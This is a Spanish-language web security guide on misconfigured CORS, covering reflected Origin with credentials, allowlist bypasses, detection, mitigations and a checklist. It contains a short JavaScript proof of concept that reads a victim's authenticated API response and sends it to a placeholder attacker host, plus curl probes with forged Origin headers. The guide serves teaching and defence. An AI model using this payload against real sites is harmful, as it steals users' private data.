Saltearse al contenido

CORS mal configurado

La Same-Origin Policy impide que una web lea respuestas de otro origen. CORS (Cross-Origin Resource Sharing) es el mecanismo por el que un servidor relaja esa regla a propósito, diciendo con cabeceras “este otro origen sí puede leerme”. El bug aparece cuando el servidor relaja de más: si refleja cualquier Origin o confía en orígenes que no debería y permite credenciales, una web atacante lee datos autenticados de la víctima.

CORS no protege al servidor: protege al navegador de la víctima de que otra web lea respuestas con sus cookies. Una config laxa rompe exactamente eso. La combinación letal es Access-Control-Allow-Origin reflejado + Access-Control-Allow-Credentials: true: el navegador de la víctima, logueada en el banco, deja que evil.com haga fetch(..., {credentials:'include'}) y lea la respuesta.

# petición
GET /api/me HTTP/1.1
Origin: https://evil.com
Cookie: session=...
# respuesta vulnerable
Access-Control-Allow-Origin: https://evil.com <- refleja el Origin atacante
Access-Control-Allow-Credentials: true <- y permite credenciales

Prueba distintos Origin y mira qué refleja la respuesta (-H "Origin: ..."):

# ¿refleja cualquier origen?
curl -s -I https://target/api/me -H "Origin: https://evil.com" | grep -i access-control
# casos frecuentes de mala config:
Origin: https://evil.com -> reflejado tal cual
Origin: null -> ACAO: null (iframes sandbox, data:, redirecciones)
Origin: https://target.evil.com -> substring match débil ("target" como prefijo)
Origin: https://evil-target.com -> sufijo mal comprobado
Origin: https://target.com.evil.com -> "endsWith sin punto"

Si refleja Origin + credenciales true, una página atacante roba datos:

<script>
fetch("https://target/api/me", {credentials:"include"})
.then(r => r.text())
.then(d => fetch("https://attacker/x?d=" + encodeURIComponent(d)));
</script>

Variantes de bypass de allowlist:

  • null: muchos backends aceptan Origin: null y lo reflejan; se genera desde un iframe sandbox o un documento data:.
  • Regex/substring débiles: Origin que contiene el dominio esperado (target.com.evil.com, eviltarget.com).
  • Subdominios confiados + XSS: si *.target.com está permitido y hay XSS en un subdominio cualquiera, se abusa de la confianza.
  • Protocolo mixto / puerto: aceptar http:// o cualquier puerto amplía la superficie.
  • Burp Suite — escáner + repeater para variar Origin.
  • CORScanner, Corsy — detección automatizada de configs laxas.
  • Consola del navegador para validar el fetch real con credenciales.

Lectura de datos autenticados de la víctima (perfil, tokens, mensajes), robo de CSRF tokens/API keys expuestos por la API, y pivote a acciones si la API devuelve lo necesario.

  • Respuestas que reflejan Origin arbitrarios en Access-Control-Allow-Origin.
  • ACAO: * junto a contenido sensible, o ACAO reflejado con Allow-Credentials: true.
  • Orígenes inesperados en los logs de preflight (OPTIONS).

Loguea el Origin entrante y el ACAO saliente; alerta cuando se reflejan orígenes fuera de la allowlist.

  • Allowlist estricta y exacta de orígenes (comparación completa, no substring/regex laxa); nunca reflejar el Origin sin validar.
  • Nunca combines Access-Control-Allow-Origin: * (ni reflejo arbitrario) con Access-Control-Allow-Credentials: true.
  • Rechaza Origin: null; no lo incluyas en la allowlist.
  • Limita métodos y cabeceras permitidos al mínimo; cuida los subdominios confiados (un XSS en uno los expone a todos).
  • No dependas solo de CORS para proteger datos sensibles: autentica y autoriza cada endpoint.

Corrige la allowlist, rota tokens/keys que la API hubiera podido exponer, revisa accesos cross-origin en logs.

  • Bug bounties masivos — reflejo de Origin + credenciales es una de las clases más reportadas en HackerOne (datos de usuario leídos por evil.com).
  • Paneles y APIs de appliances — configuraciones CORS laxas (reflejo del Origin con credenciales) halladas de forma recurrente en auditorías y bug bounties; suelen ser errores de configuración más que un CVE concreto.
  • Jira / GitLab / múltiples APIs — históricos de null origin y substring matching explotables.
  • PortSwigger Web Security Academy documenta labs reproducibles de cada variante.
  • ¿La respuesta refleja un Origin arbitrario en ACAO?
  • ¿Allow-Credentials: true junto con el reflejo? (combinación crítica)
  • ¿Se acepta Origin: null?
  • ¿La validación es substring/regex débil? (prueba target.com.evil.com)
  • ¿Se confía en *.target.com con subdominios tomables o con XSS?
  • ¿Se puede exfiltrar /api/me desde una página de terceros?
  • ¿La API protege los datos también fuera de CORS (authZ por endpoint)?